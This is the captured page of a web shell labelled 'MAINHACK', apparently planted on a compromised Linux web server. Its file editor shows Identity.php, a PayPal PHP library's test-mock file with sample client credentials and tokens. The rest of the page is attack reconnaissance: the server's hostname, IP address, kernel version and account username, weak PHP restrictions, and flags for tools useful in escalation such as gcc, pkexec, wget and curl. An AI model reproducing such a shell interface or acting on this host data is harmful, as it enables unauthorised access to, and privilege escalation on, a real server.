[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Identity.php
<?php namespace Srmklive\PayPal\Tests\Mocks\Responses; use GuzzleHttp\Utils; trait Identity { private function mockShowProfileInfoResponse(): array { return Utils::jsonDecode('{ "address": { "street_address": "7917394 Annursnac Hill Road Unit 0C", "locality": "Ventura", "region": "CA", "postal_code": "93003", "country": "US" } }', true); } private function mocklistUsersResponse(): array { return Utils::jsonDecode('{ "schemas": [ "http://example.com" ], "startIndex": 1, "itemsPerPage": 1, "totalResults": 5000, "Resources": [ { "schemas": [ "http://example.com" ], "externalId": "string", "userName": "string", "name": { "familyName": "string", "givenName": "string", "middleName": "string", "honorificPrefix": "string", "honorificSuffix": "string" }, "active": true, "emails": [ { "type": "work", "primary": true, "value": "string" } ], "phoneNumbers": [ { "value": "string", "type": "work", "primary": true } ], "addresses": [ { "streetAddress": "string", "locality": "string", "region": "string", "postalCode": "string", "type": "work", "country": "string" } ], "entitlements": [ { "value": "string" } ], "id": "string", "meta": { "resourceType": "User", "location": "http://example.com", "created": "string", "lastModified": "string" }, "preferredLanguage": "string", "timezone": "string" } ] }', true); } private function mocklistUserResponse(): array { return Utils::jsonDecode('{ "schemas": [ "http://example.com" ], "externalId": "string", "userName": "string", "name": { "familyName": "string", "givenName": "string", "middleName": "string", "honorificPrefix": "string", "honorificSuffix": "string" }, "active": true, "emails": [ { "type": "work", "primary": true, "value": "string" } ], "phoneNumbers": [ { "value": "string", "type": "work", "primary": true } ], "addresses": [ { "streetAddress": "string", "locality": "string", "region": "string", "postalCode": "string", "type": "work", "country": "string" } ], "entitlements": [ { "value": "string" } ], "id": "string", "meta": { "resourceType": "User", "location": "http://example.com", "created": "string", "lastModified": "string" }, "preferredLanguage": "string", "timezone": "string" }', true); } private function mockCreateMerchantApplicationResponse(): array { return Utils::jsonDecode('{ "client_id": "AeTeCqaPp7JZBfUUb2d21cQ2KqyQGVhonfiUOJu99kgLhFFSrE59ruvhLOT4K3NzQoErgsUH6MY9uRqD", "client_secret": "cf136dc3c1fc93f31185e5885805d", "client_id_issued_at": 2893256800, "client_secret_expires_at": 2893276800, "redirect_uris": [ "https://example.com/callback", "https://example.com/callback2" ], "grant_types": [ "authorization_code", "refresh_token" ], "client_name": "AGGREGATOR", "logo_uri": "https://example.com/logo.png", "contacts": [ "facilitator@example.com", "merchant@example.com" ], "policy_uri": "https://example.com/policyuri", "tos_uri": "https://example.com/tosuri", "scope": "profile email address", "token_endpoint_auth_method": "client_secret_basic", "jwks_uri": "https://example.com/my_public_keys.jwks" }', true); } private function mockGetClientTokenResponse(): array { return Utils::jsonDecode('{ "client_token": "eyJicmFpbnRyZWUiOnsiYXV0aG9yaXphdGlvbkZpbmdlcnByaW50IjoiYjA0MWE2M2JlMTM4M2NlZGUxZTI3OWFlNDlhMWIyNzZlY2FjOTYzOWU2NjlhMGIzODQyYTdkMTY3NzcwYmY0OHxtZXJjaGFudF9pZD1yd3dua3FnMnhnNTZobTJuJnB1YmxpY19rZXk9czlic3BuaGtxMmYzaDk0NCZjcmVhdGVkX2F0PTIwMTgtMTEtMTRUMTE6MTg6MDAuMTU3WiIsInZlcnNpb24iOiIzLXBheXBhbCJ9LCJwYXlwYWwiOnsiYWNjZXNzVG9rZW4iOiJBMjFBQUhNVExyMmctVDlhSTJacUZHUmlFZ0ZFZGRHTGwxTzRlX0lvdk9ESVg2Q3pSdW5BVy02TzI2MjdiWUJ2cDNjQ0FNWi1lTFBNc2NDWnN0bDUyNHJyUGhUQklJNlBBIn19", "expires_in": 3600 }', true); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002